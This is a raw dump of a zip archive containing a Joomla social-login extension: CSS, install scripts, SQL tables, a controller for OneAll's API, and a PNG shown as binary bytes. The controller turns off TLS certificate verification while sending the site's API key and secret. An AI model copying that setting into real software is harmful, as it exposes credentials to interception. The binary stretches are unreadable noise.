*/ /* FORM WIZARD STYLES */ div.m {background-color: white;} .dragable { border: 1px solid #eeeeee; z-index: 1000; padding: 5px 3px; background-color: #FFEDD4; background-image: none; width: 212px; /*margin: 9px 0;*/ font-weight: bold; } .toggler { background-color: #f5f5f5; padding: 2px 3px; display: block; border: 1px solid #f0f0f0; font-size:12px; font-weight: bold;} .elements_list { margin-bottom: 2px; padding-bottom: 5px;} .elements_list .dragable {/*width: 160px; margin: 9px 0;*/ text-indent:5px; cursor: move; border: 1px solid #eeeeee; padding: 4px 3px; background: url(formwizard/drag.png) no-repeat right center; background-color:#FFEDD4; font-weight: bold; } .elements_list .dragable:hover { border: 2px solid #000; background-color: #9BC4F2; padding: 4px 2px;} .droppable { background-color: #f4f4f4; border-top: 1px solid #dedede; border-bottom: 1px solid #dedede; padding: 10px 0 1px; min-height: 150px;} .droppable input, .droppable label { float: left; width: 110px; padding-left: 6px;} .droppable input { width: 150px; } .droppable .element_tools_visible { position: absolute; text-align: right; right: 0px; top: 0px; width: 55px; background-color: #ddd;} .wizard_element { position: relative; padding: 11px 5px 7px; background-color: #fbfbfb; border: 1px solid #dddddd; margin:0 10px 10px 10px;} .element_config { padding: 10px 0 0 6px; } .temp_div_container { display:block; clear: left; padding-left: 30px; margin-left: 85px;} .temp_div_container label { width: 70px; } .temp_div_container input[type="checkbox"] { clear: left; } #droppable_area_elements input[type="checkbox"], #droppable_area_elements input[type="radio"] { width: 30px; padding-left: 0; margin-right: 0; } #droppable_area_elements input[type="radio"] { clear: left; } .input_checkbox_group_element_view label.text_label, .input_radio_element_view label.text_label { position: absolute; top: 11px; left: 3px; } .dragable { position: relative; top: 0px; left: 0px; } .dragable_action { position: relative; top: 0px; left: 0px; } .droppable { min-width:100%; } .element_code { display:none; } .element_config { display:none; } .element_tools{ display:none; } /*.cx_form_elements{ font-family: Tahoma; font-size:12px; }*/ .action_label{ display: block; float: none !important; width : 85% !important; margin-top: 0px !important; } .form_event{ position: relative; padding: 11px 5px 7px; background-color: #fbfbfb; border: 1px solid #dddddd; margin:0 10px 10px 10px; } .main_event{ min-height:100px; } .form_event_label{ display: block; float: none !important; width: 80% !important; margin: 0px; } .form_event .clear{ height: 0px; } .form_event .wizard_element{ padding-top: 1px; } .good_event{ background-color: #ccff89; } .bad_event{ background-color: #ffaaaa; } .edit_element{ cursor : pointer; } .delete_element{ cursor : pointer; } .sort_element{ cursor : n-resize; } .fixedSaveDiv{ position: absolute;/*relative;*/ width: 570px; background-color: white; text-align: right; z-index: 99999; } #field_settings { min-height: 500px !important; } #action_settings { min-height: 500px !important; } #actions_accordion { /*min-height: 400px !important; max-height: 400px !important; overflow: scroll;*/ } .actions_accordion_pane{ /*overflow: auto !important; max-height: 300px;*/ } .elements_accordion_pane{ /*overflow: auto !important; max-height: 300px;*/ } #sbox-btn-apply { position: absolute; width: 64px; height: 24px; right: -67px; top: 25px; background: url(../images/confirm.png) no-repeat scroll left center white; text-align: right; border: none; color: black; text-decoration: none; line-height: 22px; padding: 3px 3px 3px 0px; font-weight: bold; } .sbox-window-ie6 #sbox-btn-apply { background-image: url(../images/apply.png); } #EventsOperations{ padding: 0px 5px; margin: 0px 10px; height: 30px; cursor: pointer; } .add_event{ float: left; margin: 3px 0px; } .fullscreen{ top:0; left:0; position: absolute; z-index:999; width:100%; height:100%; } .normalscreen{ top:0; left:0; position: relative; z-index:999; width:100%; height:100%; } .floating-tip { background-color: black; padding: 5px 15px; color: #dddddd; font-weight: bold; z-index:1999; font-size: 11px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .floating-tip-error { background-color: #b5181f; padding: 5px 15px; color: #fff; font-weight: bold; z-index:1999; font-size: 11px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .tooltip_container{ max-width: 300px; padding:0; margin:0; } .tooltip-header{ font-size:12px; font-weight:bold; color: #2e8cd9; } .easy_div { background-color: #F4F4F4; } .preview_element{ margin-left:20px; }PKs>\#o,, com_sociallogin/views/index.htmlnuW+APKs>\)+com_sociallogin/views/sociallogin/.htaccessnuW+A Order allow,deny Deny from all PKs>\)0com_sociallogin/views/sociallogin/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\_002com_sociallogin/views/sociallogin/tmpl/default.phpnuW+A
      PKs>\://1com_sociallogin/views/sociallogin/tmpl/index.htmlnuW+A PKs>\://,com_sociallogin/views/sociallogin/index.htmlnuW+A PKs>\U2 2 /com_sociallogin/views/sociallogin/view.html.phpnuW+AaddStyleSheet ('components/com_sociallogin/assets/css/sociallogin.css'); $document->addScript ('components/com_sociallogin/assets/js/jquery.js'); $document->addScript ('components/com_sociallogin/assets/js/sociallogin.js'); //Read settings $model = $this->getModel (); $this->settings = $model->getSettings (); //Read providers $this->providers = $social_login_providers; //Build page $this->form = $this->get ('Form'); $this->addToolbar (); // Display the template parent::display ($tpl); } /** * SocialLogin - Add Toolbar * @return void */ protected function addToolbar () { JRequest::setVar ('hidemainmenu', false); JToolBarHelper::title (JText::_ ('Social Login Configuration'), 'weblinks.png'); JToolBarHelper::apply ('apply'); } }PKs>\)com_sociallogin/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\://"com_sociallogin/install/index.htmlnuW+A PKs>\Ą.com_sociallogin/install/install.mysql.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__oasl_settings` ( `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, `setting` varchar(255) NOT NULL, `value` varchar(255) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `setting` (`setting`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; CREATE TABLE IF NOT EXISTS `#__oasl_user_mapping` ( `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, `user_id` int(11) NOT NULL, `token` varchar(255) NOT NULL, PRIMARY KEY (`id`), KEY `user_id` (`user_id`), UNIQUE KEY `token` (`token`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; INSERT IGNORE INTO `#__oasl_settings` SET `setting` = 'api_connection_handler', `value` = 'curl'; INSERT IGNORE INTO `#__oasl_settings` SET `setting` = 'link_verified_accounts', `value` = '1'; INSERT IGNORE INTO `#__oasl_settings` SET `setting` = 'mod_caption', `value` = 'Sign in with a social network:'; INSERT IGNORE INTO `#__oasl_settings` SET `setting` = 'providers', `value` = 'a:4:{i:0;s:8:"facebook";i:1;s:7:"twitter";i:2;s:6:"google";i:3;s:8:"linkedin";}'; PKs>\G۽00#com_sociallogin/install/install.phpnuW+Amanifest; //Installed modules $installed = array (); //Parse manifest and install modules if ($manifest instanceof JXMLElement AND property_exists ($manifest, 'modules')) { //Check of modules child if ($manifest->modules instanceof JXMLElement) { //Lopp trough modules foreach ($manifest->modules->children () AS $module) { //Setup module data $mod_data = array (); foreach ($module->attributes () as $key => $value) { $mod_data [$key] = strval ($value); } $mod_data ['client'] = JApplicationHelper::getClientInfo ($mod_data ['client'], true); //Set the installation path $this->parent->setPath ('extension_root', $mod_data ['client']->path . DS . 'modules' . DS . $mod_data ['module']); //If the directory exists, we assume that the module is already installed or another module is using that directory. if (file_exists ($this->parent->getPath ('extension_root'))) { if (!$this->parent->getOverwrite ()) { $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('Another module is already using the directory') . ': "' . $this->parent->getPath ('extension_root') . '"'); return false; } } //If the module directory does not exist, lets create it $mod_created = false; if (!file_exists ($this->parent->getPath ('extension_root'))) { if (!($mod_created = JFolder::create ($this->parent->getPath ('extension_root')))) { $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('Failed to create directory') . ': "' . $this->parent->getPath ('extension_root') . '"'); return false; } } //Since we created the module directory and will want to remove it if we have to roll back the installation, lets add it to the installation step stack if ($mod_created) { $this->parent->pushStep (array ( 'type' => 'folder', 'path' => $this->parent->getPath ('extension_root') )); } //Copy all necessary files if ($this->parent->parseFiles ($module->files, -1) === false) { // Install failed, roll back changes $this->parent->abort (); return false; } //Build Manifest Cache $mod_data ['manifest_cache'] = json_encode (JApplicationHelper::parseXMLInstallFile ((string) $mod_data ['client']->path . DS . 'modules' . DS . $mod_data ['module'] . DS . $mod_data ['module'] . '.xml')); //If extension already installed do not create a new instance $query = "SELECT `extension_id` FROM `#__extensions` WHERE type='module' AND element = " . $db->Quote ($mod_data ['module']); $db->setQuery ($query); if (!$db->Query ()) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Extension') . ' ' . JText::_ ('Install') . ': ' . $db->stderr (true)); return false; } $extension_id = $db->loadResult (); //Does not exist if (!$extension_id) { //Extension Data $data = array (); $data ['name'] = $mod_data ['title']; $data ['type'] = 'module'; $data ['element'] = $mod_data ['module']; $data ['folder'] = ''; $data ['client_id'] = (int) $mod_data ['client']->id; $data ['enabled'] = 1; $data ['access'] = 1; $data ['protected'] = 0; $data ['manifest_cache'] = $mod_data ['manifest_cache']; $data ['params'] = '{}'; //Create Extension $table = JTable::getInstance ('extension'); if (!$table->bind ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Extension') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->bind throws error')); return false; } if (!$table->check ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Extension') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->check throws error')); return false; } if (!$table->store ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Extension') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->store throws error')); return false; } // Add it to the installation step stack so that if we have to rollback the changes we can undo it. $this->parent->pushStep (array ( 'type' => 'extension', 'extension_id' => $table->extension_id )); } // If module already installed do not create a new instance $query = 'SELECT `id` FROM `#__modules` WHERE module = ' . $db->Quote ($mod_data ['module']); $db->setQuery ($query); if (!$db->Query ()) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . $db->stderr (true)); return false; } $mod_id = $db->loadResult (); //Does not exist if (!$mod_id) { //Module Data $data = array (); $data ['title'] = $mod_data ['title']; $data ['ordering'] = $mod_data ['order']; $data ['position'] = $mod_data ['position']; $data ['showtitle'] = (!empty ($mod_data ['showtitle']) ? 1 : 0); $data ['published'] = 1; $data ['module'] = $mod_data ['module']; $data ['access'] = 1; $data ['params'] = ''; $data ['client_id'] = $mod_data ['client']->id; //Create Module $table = JTable::getInstance ('module'); if (!$table->bind ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->bind throws error')); return false; } if (!$table->check ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->check throws error')); return false; } if (!$table->store ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->store throws error')); return false; } //User below $mod_id = $table->id; } // Make visible everywhere if site module if ((int) $mod_data ['client']->id == 0) { $query = 'REPLACE INTO `#__modules_menu` (moduleid,menuid) values (' . $db->Quote ($mod_id) . ',0)'; $db->setQuery ($query); if (!$db->query ()) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . $db->stderr (true)); return false; } } //Installed $installed [] = array ( 'type' => 'module', 'title' => $mod_data ['module'] ); } } } //Parse manifest and install plugins if ($manifest instanceof JXMLElement AND property_exists ($manifest, 'plugins')) { //Check for plugins child if ($manifest->plugins instanceof JXMLElement) { //Lopp trough modules foreach ($manifest->plugins->children () AS $plugin) { //Setup plugin data $plg_data = array (); foreach ($plugin->attributes () as $key => $value) { $plg_data [$key] = strval ($value); } // Set the installation path $this->parent->setPath ('extension_root', JPATH_ROOT . DS . 'plugins' . DS . $plg_data ['group'] . DS . $plg_data ['plugin']); // If the plugin directory does not exist, lets create it $created = false; if (!file_exists ($this->parent->getPath ('extension_root'))) { if (!$created = JFolder::create ($this->parent->getPath ('extension_root'))) { $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('Failed to create directory') . ': "' . $this->parent->getPath ('extension_root') . '"'); return false; } } //Remove it if we have to roll back the installation, lets add it to the installation step stack if ($created) { $this->parent->pushStep (array ( 'type' => 'folder', 'path' => $this->parent->getPath ('extension_root') )); } // Copy all necessary files if ($this->parent->parseFiles ($plugin->files, -1) === false) { // Install failed, roll back changes $this->parent->abort (); return false; } //Build Manifest Cache $plg_data ['manifest_cache'] = json_encode (JApplicationHelper::parseXMLInstallFile (JPATH_ROOT . DS . 'plugins' . DS . $plg_data ['group'] . DS . $plg_data ['plugin'] . DS . $plg_data ['plugin'] . '.xml')); // Check to see if a plugin by the same name is already installed $query = 'SELECT `extension_id` FROM `#__extensions` WHERE folder = ' . $db->Quote ($plg_data ['group']) . ' AND type=\'plugin\' AND element = ' . $db->Quote ($plg_data ['plugin']); $db->setQuery ($query); if (!$db->Query ()) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . $db->stderr (true)); return false; } $plugin_id = $db->loadResult (); // Was there a plugin already installed with the same name? if (empty ($plugin_id)) { //Extension Data $data = array (); $data ['name'] = $plg_data ['title']; $data ['type'] = 'plugin'; $data ['element'] = $plg_data ['plugin']; $data ['folder'] = $plg_data ['group']; $data ['client_id'] = 0; $data ['enabled'] = 1; $data ['access'] = 1; $data ['protected'] = 0; $data ['manifest_cache'] = $plg_data ['manifest_cache']; $data ['params'] = '{}'; //Create Extension $table = JTable::getInstance ('extension'); if (!$table->bind ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->bind throws error')); return false; } if (!$table->check ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->check throws error')); return false; } if (!$table->store ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->store throws error')); return false; } // Add it to the installation step stack so that if we have to rollback the changes we can undo it. $this->parent->pushStep (array ( 'type' => 'extension', 'extension_id' => $table->extension_id )); } //Installed $installed [] = array ( 'type' => 'plugin', 'title' => $plg_data ['plugin'] ); } } } //Success! if (count ($installed) > 0) { ?>

      Thank you very much for having installed Social Login!
      In order to enable the component, it has to be configured first.

      Feel free to contact us if you need any assistance. Thank you!

      \aYH kk%com_sociallogin/install/uninstall.phpnuW+A\lbVV0com_sociallogin/install/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__oasl_settings`; DROP TABLE IF EXISTS `#__oasl_user_mapping`;PKs>\)!com_sociallogin/install/.htaccessnuW+A Order allow,deny Deny from all PKs>\yqcom_sociallogin/sociallogin.phpnuW+Aexecute (JRequest::getCmd ('task', 'display')); // Redirect if set by the controller $controller->redirect ();PKs>\ZdC)C)com_sociallogin/controller.phpnuW+AgetModel (); $model->saveSettings (); $this->setRedirect (JRoute::_ ('index.php?option=com_sociallogin&view=sociallogin&layout=default', false)); } /** * Autoderect API Connection Handler */ public function autodetect_api_connection_handler () { //CURL Works if ($this->is_curl_available () === true) { echo 'success_autodetect_api_curl'; die (); } //CURL does not work else { // FSOCKOPEN works if ($this->is_fsockopen_available () == true) { echo 'success_autodetect_api_fsockopen'; die (); } } //No working handler found echo 'error_autodetect_api_no_handler'; die (); } /** * Check API Settings */ public function check_api_settings () { $model = $this->getModel (); //Check if all fields have been filled out if (empty ($_POST ['api_subdomain']) OR empty ($_POST ['api_key']) OR empty ($_POST ['api_secret'])) { echo 'error_not_all_fields_filled_out'; $model->setSetting ('api_settings_verified', 0); die (); } //Check the handler $api_connection_handler = ((!empty ($_POST ['api_connection_handler']) AND $_POST ['api_connection_handler'] == 'fsockopen') ? 'fsockopen' : 'curl'); //FSOCKOPEN if ($api_connection_handler == 'fsockopen') { if ($this->is_fsockopen_available() !== true) { echo 'error_selected_handler_faulty'; $model->setSetting ('api_settings_verified', 0); die(); } } //CURL else { if ($this->is_curl_available() !== true) { echo 'error_selected_handler_faulty'; $model->setSetting ('api_settings_verified', 0); die(); } } //Parameters $api_subdomain = trim (strtolower ($_POST ['api_subdomain'])); $api_key = $_POST ['api_key']; $api_secret = $_POST ['api_secret']; //Full domain entered if (preg_match ("/([a-z0-9\-]+)\.api\.oneall\.com/i", $api_subdomain, $matches)) { $api_subdomain = $matches [1]; } //Check subdomain format if (!preg_match ("/^[a-z0-9\-]+$/i", $api_subdomain)) { echo 'error_subdomain_wrong_syntax'; $model->setSetting ('api_settings_verified', 0); die (); } //Domain $api_domain = $api_subdomain . '.api.oneall.com'; //Resource URI $api_resource_url = 'https://' . $api_domain . '/tools/ping.json'; //Get connection details $result = $this->make_api_request ($api_connection_handler, $api_resource_url, array ('api_key' => $api_key, 'api_secret' => $api_secret), 15); //Parse result if (is_object ($result) AND property_exists ($result, 'http_code') AND property_exists ($result, 'http_data')) { switch ($result->http_code) { //Success case 200: echo 'success'; $model->setSetting ('api_settings_verified', 1); die (); break; //Authentication Error case 401: echo 'error_authentication_credentials_wrong'; $model->setSetting ('api_settings_verified', 0); die (); break; //Wrong Subdomain case 404: echo 'error_subdomain_wrong'; $model->setSetting ('api_settings_verified', 0); die (); break; //Other error default: echo 'error_communication'; $model->setSetting ('api_settings_verified', 0); die (); break; } } else { echo 'error_communication'; $model->setSetting ('api_settings_verified', 0); die (); } die (); } /** * Send an API request by using the given handler */ function make_api_request ($handler, $url, $options = array (), $timeout = 15) { //FSOCKOPEN if ($handler == 'fsockopen') { return $this->make_fsockopen_request($url, $options, $timeout); } //CURL else { return $this->make_curl_request($url, $options, $timeout); } } ///////////////////////////////////////////////////////////////////////////// // CURL ///////////////////////////////////////////////////////////////////////////// /** * Check if CURL can be used */ public function is_curl_available () { if (in_array ('curl', get_loaded_extensions ()) AND function_exists('curl_exec')) { $result = $this->make_curl_request ('https://www.oneall.com/ping.html'); if (is_object ($result) AND property_exists ($result, 'http_code') AND $result->http_code == 200) { if (property_exists ($result, 'http_data')) { if (strtolower ($result->http_data) == 'ok') { return true; } } } } return false; } /** * Send a CURL request */ public function make_curl_request ($url, $options = array (), $timeout = 15) { //Store the result $result = new stdClass (); //Send request $curl = curl_init (); curl_setopt ($curl, CURLOPT_URL, $url); curl_setopt ($curl, CURLOPT_HEADER, 0); curl_setopt ($curl, CURLOPT_TIMEOUT, $timeout); curl_setopt ($curl, CURLOPT_VERBOSE, 0); curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($curl, CURLOPT_SSL_VERIFYHOST, 0); // BASIC AUTH? if (isset ($options ['api_key']) AND isset ($options ['api_secret'])) { curl_setopt ($curl, CURLOPT_USERPWD, $options ['api_key'] . ":" . $options ['api_secret']); } //Make request if (($http_data = curl_exec ($curl)) !== false) { $result->http_code = curl_getinfo ($curl, CURLINFO_HTTP_CODE); $result->http_data = $http_data; $result->http_error = null; } else { $result->http_code = -1; $result->http_data = null; $result->http_error = curl_error ($curl); } //Done return $result; } ///////////////////////////////////////////////////////////////////////////// // FSOCKOPEN ///////////////////////////////////////////////////////////////////////////// /** * Check if fsockopen can be used */ public function is_fsockopen_available () { $result = $this->make_fsockopen_request ('https://www.oneall.com/ping.html'); if (is_object ($result) AND property_exists ($result, 'http_code') AND $result->http_code == 200) { if (property_exists ($result, 'http_data')) { if (strtolower ($result->http_data) == 'ok') { return true; } } } return false; } /** * Send a FSOCKOPEN request */ public function make_fsockopen_request ($url, $options = array (), $timeout = 15) { //Store the result $result = new stdClass (); //Make that this is a valid URL if (($uri = parse_url ($url)) == false) { $result->http_code = -1; $result->http_data = null; $result->http_error = 'invalid_uri'; return $result; } //Make sure we can handle the schema switch ($uri ['scheme']) { case 'http': $port = (isset ($uri ['port']) ? $uri ['port'] : 80); $host = ($uri ['host'] . ($port != 80 ? ':' . $port : '')); $fp = @fsockopen ($uri ['host'], $port, $errno, $errstr, $timeout); break; case 'https': $port = (isset ($uri ['port']) ? $uri ['port'] : 443); $host = ($uri ['host'] . ($port != 443 ? ':' . $port : '')); $fp = @fsockopen ('ssl://' . $uri ['host'], $port, $errno, $errstr, $timeout); break; default: $result->http_code = -1; $result->http_data = null; $result->http_error = 'invalid_schema'; return $result; break; } //Make sure the socket opened properly if (!$fp) { $result->http_code = -$errno; $result->http_data = null; $result->http_error = trim ($errstr); return $result; } //Construct the path to act on $path = (isset ($uri ['path']) ? $uri ['path'] : '/'); if (isset ($uri ['query'])) { $path .= '?' . $uri ['query']; } //Create HTTP request $defaults = array ( 'Host' => "Host: $host", 'User-Agent' => 'User-Agent: OneAllSocialLogin (+http://www.oneall.com/)', ); // BASIC AUTH? if (isset ($options ['api_key']) AND isset ($options ['api_secret'])) { $defaults ['Authorization'] = 'Authorization: Basic ' . base64_encode ($options ['api_key'] . ":" . $options ['api_secret']); } //Build and send request $request = 'GET ' . $path . " HTTP/1.0\r\n"; $request .= implode ("\r\n", $defaults); $request .= "\r\n\r\n"; fwrite ($fp, $request); //Fetch response $response = ''; while (!feof ($fp)) { $response .= fread ($fp, 1024); } //Close connection fclose ($fp); //Parse response list($response_header, $response_body) = explode ("\r\n\r\n", $response, 2); //Parse header $response_header = preg_split ("/\r\n|\n|\r/", $response_header); list($header_protocol, $header_code, $header_status_message) = explode (' ', trim (array_shift ($response_header)), 3); //Build result $result->http_code = $header_code; $result->http_data = $response_body; //Done return $result; } } PKs>\)com_sociallogin/.htaccessnuW+A Order allow,deny Deny from all PKs>\D3, , com_sociallogin/manifest.xmlnuW+A Social Login Open Source License, GPL v2 based OneAll LLC support@oneall.com http://www.oneall.com 2011-11-16 OneAll LLC PCM1-756
      Maintained by OneAll, a technology company offering a set of web-delivered tools and services for establishing and optimizing a site's connection with social networks ]]>
      install/install.mysql.utf8.sql install/install.php install/uninstall.mysql.utf8.sql install/uninstall.php index.html sociallogin.php COM_SOCIALLOGIN_CONFIG assets install models views index.html controller.php sociallogin.php en-GB.com_sociallogin.sys.ini classes tmpl index.html mod_sociallogin.php mod_sociallogin.xml index.html helper.php sociallogin.php sociallogin.xml
      PKs>\://!com_sociallogin/assets/index.htmlnuW+A PKs>\ ʤZcom_sociallogin/assets/cfg.phpnuW+A array ( 'name' => 'Facebook' ), 'twitter' => array ( 'name' => 'Twitter' ), 'google' => array ( 'name' => 'Google' ), 'linkedin' => array ( 'name' => 'LinkedIn' ), 'yahoo' => array ( 'name' => 'Yahoo' ), 'github' => array ( 'name' => 'Github.com' ), 'disqus' => array ( 'name' => 'Disqus' ), 'skyrock' => array ( 'name' => 'Skyrock.com' ), 'openid' => array ( 'name' => 'OpenID' ), 'wordpress' => array ( 'name' => 'Wordpress.com' ), 'hyves' => array ( 'name' => 'Hyves' ), 'blogger' => array ( 'name' => 'Blogger' ), 'paypal' => array ( 'name' => 'PayPal' ), 'foursquare' => array ( 'name' => 'Foursquare' ), 'livejournal' => array ( 'name' => 'LiveJournal' ), 'steam' => array ( 'name' => 'Steam' ), 'youtube' => array ( 'name' => 'YouTube', ), 'windowslive' => array ( 'name' => 'Windows Live' ), 'stackexchange' => array ( 'name' => 'StackExchange' ), 'vkontakte' => array ( 'name' => 'VKontakte (Вконтакте)' ), 'mailru' => array ( 'name' => 'Mail.ru' ), 'odnoklassniki' => array ( 'name' => 'Odnoklassniki' ) ); PKs>\)$com_sociallogin/assets/img/.htaccessnuW+A Order allow,deny Deny from all PKs>\://%com_sociallogin/assets/img/index.htmlnuW+A PKs>\vy[zz4com_sociallogin/assets/img/provider_sprite_35_35.pngnuW+APNG  IHDR3%_.gAMA7tEXtSoftwareAdobe ImageReadyqe< IDATx  p/N3(&7"J)Q@RBݺABA.: :)8( YJ[JV*"(X)MSMr ts;/9M1T* ,˶UU5G + ΄FELmK<&aLyA0 BI6Uu.="Si2qʽolg3ۍhVzKf,rHHF* P(L< '˲d2X,0 S9{envA?ߘ<bn=hV+v5?i ;2q0*n;;MӰ$I_}2 uƥn 4cț-sݘCnDX6?ܘo7O`z/sλ-=LtbL|%}*{LLm;x7]i"N?̈fXLʔm qaW.4SkĘ6є 6ı cK{=gw`c›L239}y2A9IFH$@uXPV)@n")X9#ؽo@o}5ȘJLwy8'/FWyP5 e>{?v%N&,i^fC} \ܺ.Bfb:#T(|]o?@n> 4dr9W"d qqT*.8iMP,@F*$\.GI.MY+r[ż dL_aФ@Pw }5ϲYRTã~P?aL+ܩ./0 xXj+Um#D ֝lc̺ q `~›sޢ* cdT&$H7A/િƄ=Вd[x3Bۄ7/DNxGCvB#hP~7D~54ҁ֜NMӉP@#h8;V!F3$wX{ ,4@Vg/A86MrESނve?km; Ati UJ !^/|h5&\*/ !@ebm|p66smfΜ^, HqΥ^%3#JּF1#ct0zaBNB*LO Kdlؑk5O>! `E$( 9xj}@BBi*Pl`|E0"1.+C ¢ ;#C/`* "!C+Y,x>1FpߌmےtyA$>" JjgHaҽ;?d OU[VNH0U-BF"X"veC"ܤm8|mu련Y})kE |@rEMuͷ`!1q??/7.?XtAU:s\%ôcdA@5r9Xrݻ3bP 9J!c8fl{0~~"TxIs-I @38P8R[̞L)$A @kyZ5Yt|ҕ zBޡ&fNAYUϛqMOMsg;(R̭S=1BFș32>dpk` (zLƅ1 1e0N2͓^"O=Vgrsu",$i"ږ{Ȉ) dt-G+"dj( Lp=Idz\_y?FuޱβEr"- .SDg? ѬO3{^Sn)MЖegjEnLl~kAE6F6Q<(.3x 7&$ƍ;a *AM,] cD:^0M]LѨƓOTJaxazy&>ř J%e [/& K"+N>%y鿗3b߅=:k:\2  6,%+kB`fLDq8i5B]3*3{ȈQ)&L9dLIޒ34zC_?5Pɚ+pGYfAa?J.ȼr+I_-4 8Xq`qRI\Ldb#& 7q?,*1!j)iKӻ}_"-_VʀV]~ܑM$MX.[Dgw>1*+ 37y5*cĝe!KכpyFq"TXtpt!R>C;l|>EbSŔd5r3m+[2&~0_hcu.55-?9ON ĮOy'w>zmEwZ7??~ Ѧ&?鰛9Kਓa ŀCy5 L1l~0A-;Ȑ{" Xtڼ{cqDy'_Xey`|=S!@de0-i4Edo4:TUE& fNai[ϛ][kA6ƺmUcQJj1j xA})X|A'(VI_ > XVJuD6%3ۤ]\Z:0$Μ98֮{V-9̌|,2L}@υ}麔rD!&% D{ᩫ,' Ssy`+ qtvx> ߮$\KR"%-YȒiHPfR-  o1^JIArוT^|PacSCr ACwxr1($"o=@nxkyR ܅:ڻS4&cip:q=Mh ;ti<$1CiqµD ]mU8 2mz{~~0(-ScC*IJ,ݽ̺i*:wފƓFv, \$4Ɲ|j侷\A* R7Rbǻ9wb$pdY6 bgdf@n#A&@h290#8ncl8qu=X Čn+chl򡿿Osҋef vB{'xIvF!iė8 &[lCsUm[ 3kڲ.ؘ0͕m;#\~?HbQH$B׹p8`0=yzP(d?22@ m1%70i$0꺦_pw!MEa}͙R˰"", (gE~ĂiVDPPQQ?蛂2mjQ2bZ*۴}}\;6W}\v۹=yO J#>$(`%G5wfcU5|A9r`6Z:Ɏy;<.hd+>$,]xB:A-GdHDd/H*gupzqnj@F40P"K69;GO~8uT&C> +*~rM!F9pwuad2VFn[)d9ĵ;bfmN<{ Fu Uۀj7um8)LQ 3`Ò P:Z5.Z ʮ??LNB7U'1rIԉFb~ )>ḧiyzhg_+p8"ۖ~[2$(|L`8 yɨbGU. r*m3:0eYx}XɵS-iĐѳ]ZQi ^])aEfSgL ǵ{QOtz݁x3z},㽿t Q=,]CQj}ç&|Y;e !`X[OR #M\b1ɵd9z`yDҨfpÓ&&hTEYg\(fKQhD~D ?O㾰^o@0R; "^^3wCE~WD[h0$XoAAj vm$cjl_,1H[³7Կ7㱎!p]B!‘Cy3=9HYms ul8Ei [^b4Q__|vb55avv6{gΔʕt[ZTTT0L(**`w uy\ n8F&IE|Lki O/ ~kKҖM6`jsx5"EM&&d0e\4n"-Vdž,$c3ٜa0-TF-m2V~(%MӞsy/ya& a'~ڧ|Ri~!xx[kHN-)d6;zϧtux ћnt 1XhD [x^Q@~.gkI+1gwSRT$D;xF^=![8ו*I)-`$ TN⩼9 "pSRN6y Bdգ rhQsO0S3թOɻD!ncgQIQR&\%#c"!S17H4>GC N_|($0~} mLê0 4,yd< C^*LjEOpMG,wG8θ×]Aˉv|SƼR-#@F> EOZsoU6Bjܐ>ytHpl0cqxxG.$Q(/j5JpɄ4>!'$Ra@cmӛFaݴ;7+|qWgq>fpnSc=\@W{?s҉MKj q^44X)ckgW3 ω[[*7&UafJFGG;pj'`7t|ǎG'`AMI/,df*W89n,ǁ6LLX Nܚ]<"= `$!32h,w yf,]FP({+LuDG uP7Fo`lld 64<DŽN}掱tmՃ4yCKsr'JY؉^Fx}yԕ9kN Ecl}CG7d3V*ۗjtjqb8e9+@<,9-% W/W?y?]s4$XX.EЧ]Σ–V 7V"Gu:3B cQ>7<J2yݏmXUn4c]DOA\ Ӛ|lc8n`Fvm)sW4!(Ehd>h6c~0d:cØH0`ĀA2Lmtkׁ[Yܮ]_m}s=9*K@7&ov +&x E/HovCCϿc9V+~)Qo.1dO dcc~ߏu[ص< ~\sra,Ս0"RDƅԾbNd•Q^87-Xrf=35<VJu.k'r"Ci9A)0e0QR1܃PWJEfN?.:gA?Ɓw;5xjrr>zol_z$bP%_Qe¨<k{g;C&+/r\ 7~09"% $RLL͠B#<ޅ[5AQ}Z?Če' eiqR^Tdo??t?:񛂼[p ;QymPScA\q6>$ B3BRm#xȈQ'EL Fۋ.bl'V+8u 6Yx/ fĥ"ޢ[h8^[!fE^AEH+ 3Qd fHzh Rˁa4`˲$;D&C| 